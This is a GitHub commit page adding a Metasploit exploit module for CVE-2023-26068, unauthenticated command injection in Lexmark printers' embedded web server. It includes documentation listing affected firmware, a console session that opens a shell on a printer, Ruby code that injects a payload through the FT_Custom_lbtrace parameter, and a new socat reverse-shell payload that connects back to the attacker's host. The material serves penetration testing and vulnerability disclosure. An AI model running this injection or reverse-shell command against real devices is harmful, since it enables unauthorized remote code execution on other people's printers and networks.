Skip to content

Commit

Permalink
Land #18333, Lexmark Device Embedded Web Server RCE (CVE-2023-26068)
Browse files Browse the repository at this point in the history
  • Loading branch information
cdelafuente-r7 committed Sep 19, 2023
2 parents d594a5f + 3ae6582 commit 525c957
Show file tree
Hide file tree
Showing 4 changed files with 342 additions and 0 deletions.
166 changes: 166 additions & 0 deletions documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
## Vulnerable Application
A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19.
The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked
if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings`
is accessible without authentication. The endpoint allows the user to configure a number of different fax settings.

A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being
used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands.

### Installation Steps

Testing of this module was preformed on a physical device. Emulating firmware through qemu or similar methods have not
been explored.

### Affected Models

| Lexmark Models | Affected Releases | Fixed Releases |
| ---------------|-------------------|-------------------------|
| CX930, CX931, CX942, <br/>CX943, CX944 | CXTPC.081.232 and previous | CXTPC.081.233 and later |
| XC9325, XC9335, XC9445, <br/>XC9455, XC9465 | CXTPC.081.232 and previous | CXTPC.081.233 and later |
| CS943 | CSTPC.081.232 and previous | CSTPC.081.233 and later |
| MX432 | MXTCT.081.232 and previous | MXTCT.081.233 and later |
| XM3142 | MXTCT.081.232 and previous | MXTCT.081.233 and later |
| MX931 | MXTPM.081.232 and previous | MXTPM.081.233 and later |
| CX730, CX735 | CXTMM.081.232 and previous | CXTMM.081.233 and later |
| XC4342, XC4352 | CXTMM.081.232 and previous | CXTMM.081.233 and later |
| CS730, CS735 | CSTMM.081.232 and previous | CSTMM.081.233 and later |
| C4342, C4352 | CSTMM.081.232 and previous | CSTMM.081.233 and later |
| B2236 | MSLSG.081.232 and previous | MSLSG.081.233 and later |
| MB2236 | MXLSG.081.232 and previous | MXLSG.081.233 and later |
| MS331, MS431, MS439 | MSLBD.081.232 and previous | MSLBD.081.233 and later |
| M1342 | MSLBD.081.232 and previous | MSLBD.081.233 and later |
| B3442, B3340 | MSLBD.081.232 and previous | MSLBD.081.233 and later |
| XM1342 | MXLBD.081.232 and previous | MXLBD.081.233 and later |
| MX331, MX431 | MXLBD.081.232 and previous | MXLBD.081.233 and later |
| MB3442 | MXLBD.081.232 and previous | MXLBD.081.233 and later |
| MS321, MS421, MS521, MS621 | MSNGM.081.232 and previous | MSNGM.081.233 and later |
| M1242, M1246 | MSNGM.081.232 and previous | MSNGM.081.233 and later |
| B2338, B2442, B2546, B2650 | MSNGM.081.232 and previous | MSNGM.081.233 and later |
| MS622 | MSTGM.081.232 and previous | MSTGM.081.233 and later |
| M3250 | MSTGM.081.232 and previous | MSTGM.081.233 and later |
| MX321 | MXNGM.081.232 and previous | MXNGM.081.233 and later |
| MB2338 | MXNGM.081.232 and previous | MXNGM.081.233 and later |
| MX421, MX521, MX522, MX622 | MXTGM.081.232 and previous | MXTGM.081.233 and later |
| XM1242, XM1246, XM3250 | MXTGM.081.232 and previous | MXTGM.081.233 and later |
| MB2442. MB2546, MB2650 | MXTGM.081.232 and previous | MXTGM.081.233 and later |
| MS725, MS821, MS823, MS825 | MSNGW.081.232 and previous | MSNGW.081.233 and later |
| B2865 | MSNGW.081.232 and previous | MSNGW.081.233 and later |
| MS822, MS826 | MSTGW.081.232 and previous | MSTGW.081.233 and later |
| M5255, M5270 | MSTGW.081.232 and previous | MSTGW.081.233 and later |
| MX721, MX722, MX725, <br/>MX822, MX826 | MXTGW.081.232 and previous | MXTGW.081.233 and later |
| XM5365, XM5370, XM7355, XM7370 | MXTGW.081.232 and previous | MXTGW.081.233 and later |
| MB2770 | MXTGW.081.232 and previous | MXTGW.081.233 and later |
| C3426 | CSLBN.081.232 and previous | CSLBN.081.233 and later |
| CS431, CS439 | CSLBN.081.232 and previous | CSLBN.081.233 and later |
| CS331 | CSLBL.081.232 and previous | CSLBL.081.233 and later |
| C3224, C3326 | CSLBL.081.232 and previous | CSLBL.081.233 and later |
| C2326 | CSLBN.081.232 and previous | CSLBN.081.233 and later |
| MC3426 | CXLBN.081.232 and previous | CXLBN.081.233 and later |
| CX431 | CXLBN.081.232 and previous | CXLBN.081.233 and later |
| XC2326 | CXLBN.081.232 and previous | CXLBN.081.233 and later |
| MC3426 | CXLBN.081.232 and previous | CXLBN.081.233 and later |
| MC3224, MC3326 | CXLBL.081.232 and previous | CXLBL.081.233 and later |
| CX331 | CXLBL.081.232 and previous | CXLBL.081.233 and later |
| CS622 | CSTZJ.081.232 and previous | CSTZJ.081.233 and later |
| C2240 | CSTZJ.081.232 and previous | CSTZJ.081.233 and later |
| CS421, CS521 | CSNZJ.081.232 and previous | CSNZJ.081.233 and later |
| C2325, C2425, C2535 | CSNZJ.081.232 and previous | CSNZJ.081.233 and later |
| CX522, CX622, CX625 | CXTZJ.081.232 and previous | CXTZJ.081.233 and later |
| XC2235, XC4240 | CXTZJ.081.232 and previous | CXTZJ.081.233 and later |
| MC2535, MC2640 | CXTZJ.081.232 and previous | CXTZJ.081.233 and later |
| CX421 | CXNZJ.081.232 and previous | CXNZJ.081.233 and later |
| MC2325, MC2425 | CXNZJ.081.232 and previous | CXNZJ.081.233 and later |
| CX820, CX825, CX827, CX860 | CXTPP.081.232 and previous | CXTPP.081.233 and later |
| XC6152, XC6153, XC8155, <br/>XC8160, XC8163 | CXTPP.081.232 and previous | CXTPP.081.233 and later |
| CS820, CS827 | CSTPP.081.232 and previous | CSTPP.081.233 and later |
| C6160 | CSTPP.081.232 and previous | CSTPP.081.233 and later |
| CS720, CS725, CS727, CS728 | CSTAT.081.232 and previous | CSTAT.081.233 and later |
| C4150 | CSTAT.081.232 and previous | CSTAT.081.233 and later |
| CX725, CX727 | CXTAT.081.232 and previous | CXTAT.081.233 and later |
| XC4140, XC4143, XC4150, XC4153 | CXTAT.081.232 and previous | CXTAT.081.233 and later |
| CS921, CS923, CS927 | CSTMH.081.232 and previous | CSTMH.081.233 and later |
| C9235 | CSTMH.081.232 and previous | CSTMH.081.233 and later |
| CX920, CX921, CX922, <br/>CX923, CX924 | CXTMH.081.232 and previous | CXTMH.081.233 and later |
| XC9225, XC9235, XC9245, <br/>XC9255, XC9265 | CXTMH.081.232 and previous | CXTMH.081.233 and later |

## Verification Steps
1. Start `msfconsole`
1. Do: `use exploit/linux/http/lexmark_faxtrace_settings`
1. Do: `set RHOST [IP]`
1. Do: `set LHOST [IP]`
1. Do: `exploit`

## Options

### SLEEP

If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
or two to wake it up before running the check method or exploit. This parameter indicates how to to wait for the printer
to wake up.

## Scenarios

### Lexmark Printer MC3224 CXLBL.073.023
```
msf6 > use linux/http/lexmark_faxtrace_settings
[*] Using configured payload cmd/unix/reverse_socat_tcp
msf6 exploit(linux/http/lexmark_faxtrace_settings) > set rhosts 192.168.1.71
rhosts => 192.168.1.71
msf6 exploit(linux/http/lexmark_faxtrace_settings) > set lhost 192.168.1.72
lhost => 192.168.1.72
msf6 exploit(linux/http/lexmark_faxtrace_settings) > options
Module options (exploit/linux/http/lexmark_faxtrace_settings):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.71 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SLEEP 10 yes Sleep time to wait for the print to wake
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_socat_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.72 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/lexmark_faxtrace_settings) > run
[*] Started reverse TCP handler on 192.168.1.72:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Waking up the printer ...
[+] The target appears to be vulnerable. The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable
[*] Executing Unix (In-Memory) for cmd/unix/reverse_socat_tcp
[*] Command shell session 5 opened (192.168.1.72:4444 -> 192.168.1.71:54456) at 2023-08-30 19:51:57 -0400
Shell Banner:
httpd@ET788C773C36F9:/usr/share/web/cgi-bin$
-----
httpd@ET788C773C36F9:/usr/share/web/cgi-bin$ id
id
uid=985(httpd) gid=982(httpd) groups=982(httpd)
httpd@ET788C773C36F9:/usr/share/web/cgi-bin$ uname -a
uname -a
Linux ET788C773C36F9 4.17.19-yocto-standard-74b7175b2a3452f756ffa76f750e50db #1 SMP PREEMPT Mon Jun 29 19:46:01 UTC 2020 armv7l GNU/Linux
httpd@ET788C773C36F9:/usr/share/web/cgi-bin$
```
118 changes: 118 additions & 0 deletions modules/exploits/linux/http/lexmark_faxtrace_settings.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lexmark Device Embedded Web Server RCE',
'Description' => %q{
A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19.
The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked
if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings`
is accessible without authentication. The endpoint allows the user to configure a number of different fax settings.
A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being
used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands.
},
'Author' => [
'James Horseman', # Analysis & PoC
'Zach Hanley', # Analysis & PoC
'jheysel-r7' # Msf module
],
'References' => [
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-26067'],
[ 'URL', 'https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf'],
[ 'URL', 'https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/'],
[ 'CVE', '2023-26068']
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_socat_tcp'
}
}
]
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'socat'
}
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-03-13',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options(
[
OptInt.new('SLEEP', [true, 'Sleep time to wait for the printer to wake', 10]),
]
)
end

def check
send_wakeup
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'GET'
)

return Exploit::CheckCode::Unknown('The target did not respond ') unless res
return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings'

Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable')
end

# If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
# or two to wake it up before running the check method or exploit.
def send_wakeup
retry_until_truthy(timeout: datastore['SLEEP']) do
print_status('Waking up the printer...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'HEAD'
)
break if res && res.code == 200
end
end

def exploit
if datastore['ForceExploit'] || !datastore['AutoCheck']
send_wakeup
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'POST',
'data' => "FT_Custom_lbtrace=3;$(#{payload.encoded});#"
)
print_error('A response to the exploit attempt was received. This indicates the exploit was likely unsuccessful') if res
end
end
48 changes: 48 additions & 0 deletions modules/payloads/singles/cmd/unix/reverse_socat_tcp.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 74

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Unix Command Shell, Reverse TCP (via socat)',
'Description' => 'Creates an interactive shell via socat',
'Author' => 'jheysel-r7',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'socat',
'Payload' => {
'Offsets' => {},
'Payload' => ''
}
)
)
end

#
# Constructs the payload
#
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end

#
# Returns the command string to use for execution
#
def command_string
"socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:#{datastore['LHOST']}:#{datastore['LPORT']}"
end
end
10 changes: 10 additions & 0 deletions spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -750,6 +750,16 @@
reference_name: 'cmd/unix/bind_socat_udp'
end

context 'cmd/unix/reverse_socat_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/unix/reverse_socat_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/unix/reverse_socat_tcp'
end

context 'cmd/unix/bind_perl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down

0 comments on commit 525c957

Please sign in to comment.